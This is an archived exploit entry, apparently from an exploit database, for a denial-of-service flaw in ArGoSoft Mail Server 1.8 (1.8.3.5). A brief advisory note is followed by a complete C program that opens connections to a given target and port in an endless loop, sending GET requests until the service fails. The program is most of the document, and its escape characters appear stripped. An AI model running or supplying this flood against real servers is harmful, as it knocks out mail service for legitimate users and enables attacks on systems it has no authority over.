source: http://www.securityfocus.com/bid/7873/info

ArGoSoft Mail Server has been reported prone to a denial of service condition when handling multiple GET requests, in rapid succession.

An attacker may exploit this condition to effectively deny service to legitimate ArGoSoft Mail server users until the service is restarted.

/**********************************************************************************
*
*     Denial of Service Attack against ArGoSoft Mail Server Version 1.8
(1.8.3.5)
*
*    Tripbit Security Development
*    ---------------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: [email protected]
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*    [-] IRC: irc.euirc.net 6667 #tripbit
*
*    Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe, PeaceTreaty
*
**********************************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;
    char sendstring[1024];

    strcpy(sendstring, "GET  /index.html HTTP/1.0nn");

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>n", argv[0]);
        exit(0);
    }

    port = atoi(argv[2]);

    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...n");
        exit(0);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);

    printf("Dos against ArGoSoft Mail Server Version 1.8 (1.8.3.5)n");

    for(;;)
    {
        if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
        {
            printf("socket() failed!n");
            exit(0);
        }

        if(connect(sockfd, (struct sockaddr*)&server, sizeof(server)) < 0)
        {
            printf("connect() failed!n");
            close(sockfd);
        }

        if (write(sockfd, sendstring, strlen(sendstring)) < 0)
        {
            break;
        }

        close(sockfd);
    }

    printf("Attack done!...n");
}